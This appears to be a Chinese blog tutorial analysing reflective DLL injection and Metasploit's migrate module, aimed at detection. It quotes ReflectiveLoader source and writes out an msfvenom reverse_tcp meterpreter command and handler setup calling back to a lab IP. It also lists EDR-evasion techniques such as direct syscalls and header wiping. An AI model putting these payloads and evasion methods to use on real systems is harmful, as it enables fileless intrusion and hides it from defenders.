百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术文章 > 正文

WEB安全:深入反射式dll注入技术(反射添加注解)

cac55 2024-10-07 06:43 26 浏览 0 评论

一、前言

dll注入技术是让某个进程主动加载指定的dll的技术。恶意软件为了提高隐蔽性,通常会使用dll注入技术将自身的恶意代码以dll的形式注入高可信进程。

常规的dll注入技术使用LoadLibraryA()函数来使被注入进程加载指定的dll。常规dll注入的方式一个致命的缺陷是需要恶意的dll以文件的形式存储在受害者主机上。这样使得常规dll注入技术在受害者主机上留下痕迹较大,很容易被edr等安全产品检测到。为了弥补这个缺陷,stephen fewer提出了反射式dll注入技术并在github开源,反射式dll注入技术的优势在于可以使得恶意的dll通过socket等方式直接传输到目标进程内存并加载,期间无任何文件落地,安全产品的检测难度大大增加。

本文将从dll注入技术简介、msf migrate模块剖析、检测思路和攻防对抗的思考等方向展开说明反射式dll注入技术。

二、dll注入技术简介

2.1 常规dll注入技术

常规dll注入有:

  1. 通过调用CreateRemoteThread()/NtCreateThread()/RtlCreateUserThread()函数在被注入进程创建线程进行dll注入。
  2. 通过调用QueueUserAPC()/SetThreadContext()函数来劫持被注入进程已存在的线程加载dll。
  3. 通过调用SetWindowsHookEx()函数来设置拦截事件,在发生对应的事件时,被注入进程执行拦截事件函数加载dll。

以使用CreateRemoteThread()函数进行dll注入的方式为例,实现思路如下:

  1. 获取被注入进程PID。
  2. 在注入进程的访问令牌中开启SE_DEBUG_NAME权限。
  3. 使用openOpenProcess()函数获取被注入进程句柄。
  4. 使用VirtualAllocEx()函数在被注入进程内开辟缓冲区并使用WriteProcessMemory()函数写入DLL路径的字符串。
  5. 使用GetProcAddress()函数在当前进程加载的kernel32.dll找到LoadLibraryA函数的地址。
  6. 通过CreateRemoteThread()函数来调用LoadLibraryA()函数,在被注入进程新启动一个线程,使得被注入进程进程加载恶意的DLL。

常规dll注入示意图如上图所示。该图直接从步骤3)开始,步骤1)和步骤2)不在赘述。

【一>所有资源关注我,私信回复“资料”获取<一】
1、网络安全学习路线
2、电子书籍(白帽子)
3、安全大厂内部视频
4、100份src文档
5、常见安全面试题
6、ctf大赛经典题目解析
7、全套工具包
8、应急响应笔记

2.2 反射式dll注入技术

反射式dll注入与常规dll注入类似,而不同的地方在于反射式dll注入技术自己实现了一个reflective loader()函数来代替LoadLibaryA()函数去加载dll,示意图如下图所示。蓝色的线表示与用常规dll注入相同的步骤,红框中的是reflective loader()函数行为,也是下面重点描述的地方。

Reflective loader实现思路如下:

  1. 获得被注入进程未解析的dll的基地址,即下图第7步所指的dll。
  2. 获得必要的dll句柄和函数为修复导入表做准备。
  3. 分配一块新内存去取解析dll,并把pe头复制到新内存中和将各节复制到新内存中。
  4. 修复导入表和重定向表。
  5. 执行DllMain()函数。

三、Msf migrate模块剖析

msf的migrate模块是post阶段的一个模块,其作用是将meterpreter payload从当前进程迁移到指定进程。

在获得meterpreter session后可以直接使用migrate命令迁移进程,其效果如下图所示:

migrate的模块的实现和stephen fewer的ReflectiveDLLInjection项目大致相同,增加了一些细节,其实现原理如下:

  1. 读取metsrv.dll(metpreter payload模板dll)文件到内存中。
  2. 生成最终的payload。
  3. a) msf生成一小段汇编migrate stub主要用于建立socket连接。
  4. b) 将metsrv.dll的dos头修改为一小段汇编meterpreter_loader主要用于调用reflective loader函数和dllmain函数。在metsrv.dll的config block区填充meterpreter建立session时的配置信息。
  5. c) 最后将migrate stub和修改后的metsrv.dll拼接在一起生成最终的payload。
  6. 向msf server发送migrate请求和payload。
  7. msf向迁移目标进程分配一块内存并写入payload。
  8. msf首先会创建的远程线程执行migrate stub,如果失败了,就会尝试用apc注入的方式执行migrate stub。migrate stub会调用meterpreter loader,meterpreter loader才会调用reflective loader。
  9. reflective loader进行反射式dll注入。
  10. 最后msf client和msf server建立一个新的session。

原理图如下所示:

图中红色的线表示与常规反射式dll注入不同的地方。红色的填充表示修改内容,绿色的填充表示增加内容。migrate模块的reflective loader是直接复用了stephen fewer的ReflectiveDLLInjection项目的ReflectiveLoader.c中的ReflectiveLoader()函数。下面我们主要关注reflective loader的行为。

3.1 静态分析

3.1.1 获取dll基地址

ReflectiveLoader()首先会调用caller()函数

uiLibraryAddress = caller();

caller()函数实质上是_ReturnAddress()函数的封装。caller()函数的作用是获取caller()函数的返回值,在这里也就是ReflectiveLoader()函数中调用caller()函数的下一条指令的地址。

#ifdef __MINGW32__
#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0))
#else
#pragma intrinsic(_ReturnAddress)
#define WIN_GET_CALLER() _ReturnAddress()
#endif
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)WIN_GET_CALLER(); }

然后,向低地址逐字节比较是否为为dos头的标识MZ字串,若当前地址的内容为MZ字串,则把当前地址认为是dos头结构体的开头,并校验dos头e_lfanew结构成员是否指向pe头的标识”PE”字串。若校验通过,则认为当前地址是正确的dos头结构体的开头。

while( TRUE )
{
	//将当前地址当成dos头结构,此结构的e_magic成员变量是否指向MZ子串
	if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) 
	{
		uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
		if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
		{
			uiHeaderValue += uiLibraryAddress;
			//判断e_lfanew结构成员是否指向PE子串,是则跳出循环,取得未解析dll的基地址
			if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
				break;
		}
	}
	uiLibraryAddress--;
}

3.1.2 获取必要的dll句柄和函数地址

获取必要的dll句柄是通过遍历peb结构体中的ldr成员中的InMemoryOrderModuleList链表获取dll名称,之后算出dll名称的hash,最后进行hash对比得到最终的hash。

uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while( uiValueA )
{
	uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
	usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
	uiValueC = 0;
	ULONG_PTR tmpValC = uiValueC;
    //计算tmpValC所指向子串的hash值,并存储在uiValueC中
	....
	if( (DWORD)uiValueC == KERNEL32DLL_HASH )

必要的函数是遍历函数所在的dll导出表获得函数名称,然后做hash对比得到的。

uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 3;
while( usCounter > 0 )
		{
		dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) )  );
			if( dwHashValue == LOADLIBRARYA_HASH
			//等于其他函数hash的情况
            || ...
			)
			{
				uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
				uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
				if( dwHashValue == LOADLIBRARYA_HASH )
					pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
				//等于其他函数hash的情况
                ...
				usCounter--;
			}
			uiNameArray += sizeof(DWORD);
			uiNameOrdinals += sizeof(WORD);
		}
}

3.1.3 将dll映射到新内存

Nt optional header结构体中的SizeOfImage变量存储着pe文件在内存中解析后所占的内存大小。所以ReflectiveLoader()获取到SizeOfImage的大小,分配一块新内存,然后按照section headers结构中的文件相对偏移和相对虚拟地址,将pe节一一映射到新内存中。

//分配SizeOfImage的新内存
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
...
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB = uiLibraryAddress;
uiValueC = uiBaseAddress;
//将所有头和节表逐字节复制到新内存
while( uiValueA-- )
	*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
//解析每一个节表项
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while( uiValueE-- )
{
	uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
	uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
	uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
	//将每一节的内容复制到新内存对应的位置
    while( uiValueD-- )
		*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
	uiValueA += sizeof( IMAGE_SECTION_HEADER );
}

3.1.4 修复导入表和重定位表

首先更具导入表结构,找到导入函数所在的dll名称,然后使用loadlibary()函数载入dll,根据函数序号或者函数名称,在载入的dll的导出表中,通过hash对比,并把找出的函数地址写入到新内存的IAT表中。

uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
//当没有到达导入表末尾时
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics )
{
	//使用LoadLibraryA()函数加载对应的dll
	uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
	...
	uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
    //IAT表
	uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
	while( DEREF(uiValueA) )
	{
        //如果导入函数是通过函数编号导入
		if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
		{	//通过函数编号索引导入函数所在dll的导出函数	
			uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
			uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
			uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
			uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
			uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
            //将对应的导入函数地址写入IAT表
			DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
		}
		else
		{
            //导入函数通过名称导入的
			uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
			DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
		}
		uiValueA += sizeof( ULONG_PTR );
		if( uiValueD )
			uiValueD += sizeof( ULONG_PTR );
	}
	uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
}

重定位表是为了解决程序指定的imagebase被占用的情况下,程序使用绝对地址导致访问错误的情况。一般来说,在引用全局变量的时候会用到绝对地址。这时候就需要去修正对应内存的汇编指令。

uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
//如果重定向表的值不为0,则修正重定向节
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{
	uiValueE = ((PIMAGE_BASE_RELOCATION)uiValueB)->SizeOfBlock;
	uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
	while( uiValueE && ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
	{
		uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
		uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
		uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
		//根据不同的标识,修正每一项对应地址的值
        while( uiValueB-- )
		{
			if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
				*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
			else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
				*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
			else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
				*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
			else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
				*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
			uiValueD += sizeof( IMAGE_RELOC );
		}
		uiValueE -= ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
		uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
	}
}

3.2 动态调试

本节一方面是演示如何实际的动态调试msf的migrate模块,另一方面也是3.1.1的一个补充,从汇编层次来看3.1.1节会更容易理解。

首先用msfvenom生成payload

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.75.132 lport=4444 -f exe -o msf.exe

并使用msfconsole设置监听

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcppayload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 0.0.0.0:4444 

之后在受害机使用windbg启动msf.exe并且

bu KERNEL32!CreateRemoteThread;g

获得被注入进程新线程执行的地址,以便调试被注入进程。

当建立session连接后,在msfconsole使用migrate命令

migrate 5600 //5600是要迁移的进程的pid

然后msf.exe在CreateRemoteThread函数断下,CreateRemoteThread函数原型如下

HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  [in]  SIZE_T                 dwStackSize,
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,
  [in]  LPVOID                 lpParameter,
  [in]  DWORD                  dwCreationFlags,
  [out] LPDWORD                lpThreadId
);

所以我们要找第四个参数lpStartAddress的值,即r9寄存器的内容,

使用

!address 000001c160bb0000

去notepad进程验证一下,是可读可写的内存,基本上就是对的

此时的地址是migrate stub汇编代码的地址,我们期望直接断在reflective loader的函数地址,我们通过

s -a 000001c1`60bb0000 L32000 MZ //000001c1`60bb0000为上面的lpStartAddress,3200为我们获取到的内存块大小

直接去搜MZ字串定位到meterpreter loader汇编的地址,进而定位到reflective loader的函数地址

meterpreter loader将reflective loader函数的地址放到rbx中,所以我们可直接断在此处,进入reflective loader的函数,如下图所示

reflective loader首先call 000001c1`60bb5dc9也就是caller()函数,caller()函数的实现就比较简单了,一共两条汇编指令,起作用就是返回下一条指令的地址

在这里也就是0x000001c160bb5e08

获得下一条指令后的地址后,就会比较获取的地址的内容是否为MZ如果不是的话就会把获取的地址减一作为新地址比较,如果是的话,则会比较e_lfanew结构成员是否指向PE,若是则此时的地址作为dll的基地址。后面调试过程不在赘述。

四、检测方法

反射式dll注入技术有很多种检测方法,如内存扫描、IOA等。下面是以内存扫描为例,我想到的一些扫描策略和比较好的检测点。

扫描策略:

  1. Hook敏感api,当发生敏感api调用序列时,对注入进程和被注入进程扫描内存。
  2. 跳过InMemoryOrderModuleList中的dll。

检测点多是跟reflective loader函数的行为有关,检测点如下:

  1. 强特征匹配_ReturnAddress()的函数。Reflectiveloader函数定位dos头的前置操作就是调用调用_ReturnAddress()函数获得当前dll的一个地址。
  2. 扫描定位pe开头位置的代码逻辑。详见3.1节,我们可以弱匹配此逻辑。
  3. 扫描特定的hash函数和hash值。在dll注入过程中,需要许多dll句柄和函数地址,所以不得不使用hash对比dll名称和函数名称。我们可以匹配hash函数和这些特殊的hash值。
  4. 从整体上检测dll注入。在被注入进程其实是存在两份dll文件,一份是解析前的原pe文件,一份是解析后的pe文件。我们可以检测这两份dll文件的关系来确定是反射式dll注入工具。

深信服云主机安全保护平台CWPP能够有效检测此类利用反射式DLL注入payload的无文件攻击技术。检测结果如图所示:

五、攻防对抗的思考

对于标准的反射dll注入是有很多种检测方式的,主要是作者没有刻意的做免杀,下面对于我搜集到了一些免杀方式,探讨一下其检测策略。

  1. 避免直接调用敏感api 。例如不直接调用writeprocessmemory等函数,而是直接用syscall调用。这种免杀方式只能绕过用户态的hook。对于内核态hook可以解这个问题。
  2. dll在内存中的rwx权限进行了去除,变成rx。其实有好多粗暴的检测反射式dll注入的攻击方式,就是检测rwx权限的内存是否为pe文件。
  3. 擦除nt头和dos头。这种免杀方式会直接让检测点4)影响较大,不能简单的校验pe头了,需要加入更精确的确定两个dll的文件,比如说,首先通过读取未解析的dll的SizeOfImage的大小,然后去找此大小的内存块,然后对比代码段是否一致,去判断是否为同一pe文件。
  4. 抹除未解析pe文件的内存。这种免杀方式会导致检测点4)彻底失效,这种情况下我们只能对reflectiveloader()函数进行检测。
  5. 抹除reflectiveloader()函数的内存。这里就比较难检测了。但是也是有检测点的,这里关键是如何确定这块内存是pe结构,重建pe结构之后,我们可以通过导出表去看导出函数是否被抹除。

相关推荐

如何屏蔽色情网站?_怎么能屏蔽网站

一、基础防御:全网DNS劫持阻断1.修改全网DNS服务器推荐DNS:安全DNS:CleanBrowsing(成人内容过滤):185.228.168.168/185.228.169.168Open...

容器、Pod、虚拟机与宿主机网络通信全解:看这一篇就够了

在日常开发与部署过程中,很多人一开始都会有这样的疑惑:容器之间是怎么通信的?容器怎么访问宿主机?宿主机又如何访问容器?Kubernetes中Pod的网络和Docker容器一样吗?容器跨机器是...

Win11专业版找不到共享打印机的问题

有很多深度官网的用户,都是在办公室上班的。而上班就需要使用打印机,但更新win11系统后,却出现同一个办公室里面的打印机都找不到的问题,这该如何处理呢?其实,可能是由于我们并没有打开共享打印机而造成的...

常用电脑快捷键大全,摆脱鼠标依赖,建议收藏

Ctrl+C复制Ctrl+X剪切Ctrl+V粘贴Ctrl+Z撤销Ctrl+Y重做Ctrl+B加粗Ctrl+A全选所有文件Ctrl+S保存Ctrl+N新建Ctrl+O打开Ctrl+E...

Win11实现自动追剧Jellyfin硬解,免NAS复杂操作

大家好,欢迎来到思赞数码。本期将详细介绍如何通过安装和配置Sonarr、Radarr、Prowlarr、qBittorrent和Jellyfin,打造一套自动化的影视管理系统。很多人认为,要实现自动追...

微软Win11安卓子系统WSA 2308.40000.3.0更新推送下载

IT之家9月21日消息,微软官方博客今日宣布,已面向所有WindowsInsider用户推送了Windows11安卓子系统的2308.40000.3.0版本更新。本次更新和之前...

路由器总掉线 一个命令就能猜出八九分

明明网络强度满格或有线图标正常,但视频卡成PPT、网页刷不开、游戏动不了,闲心这些问题很多小伙伴都碰到过。每次都要开关路由、宽带/光猫、插拔网线……一通忙。有没有啥办法能快速确定故障到底在哪儿,方便处...

windows电脑如何修改hosts文件?_windows怎么修改hosts

先来简单说下电脑host的作用hosts文件的作用:hosts文件是一个用于储存计算机网络中各节点信息的计算机文件;作用是将一些常用的网址域名与其对应的IP地址建立一个关联“数据库”,当用户在浏览器中...

win10广告弹窗ShellExperienceHost.exe

win10右下角老是弹出广告弹窗,排查为以下程序引起,但是这个是系统菜单的程序不能动:C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\S...

Win10 Mobile预览版10512/10166越狱解锁部署已被黑客攻破

看起来统一的WindowsPhone和Windows越加吸引人们的关注,特别是黑客们的好奇心。XDA论坛宣称,在Win10Mobile预览版10512/10166上,已取得越狱/解锁部署突破,比如可...

6款冷门小众软件,都是宝藏,建议收藏

真的很不错(。-ω-)zzzBearhttps://bear.app/cn/Bear是一个漂亮,灵活的Markdown的写作工具。它一样只支持苹果家的全平台。它一出现就惊艳四方,就被AppSto...

如何让不符合条件的设备升级Windows 11

如果你是最近(6月24日之后)加入WindowsInsider项目并且你的设备并不符合升级条件,那么当你在尝试升级Windows11的时候可能会看到以下错误:你的PC不符合Wi...

windows host文件怎么恢复?局域网访问全靠这些!

windowshost文件怎么恢复?windowshost文件是常用网址域名及其相应IP地址建立一个关联文件,通过这个host文件配置域名和IP的映射关系,以提高域名解析的速度,方便局域网用户使用...

Mac Hosts管理工具---SwitchHosts

switchhosts!formac是一款帮助用户快速切换hosts文件的工具,switchhosts!formac能够帮助你快速方便的打造个人专用的网络环境,支持本地和在线两种方式,并且支持...

「浅谈趣说网络知识」 第十二弹 老而不死的Hosts,它还很有用

【浅谈趣说网络知识】第十二弹老而不死的Hosts,它还很有用什么时候才觉得自己真的老了,不是35岁以上的数字,不是头上的点点白发,而是不知觉中的怀旧。风口上的IT界讲的就是"长江后浪推前浪...

取消回复欢迎 发表评论: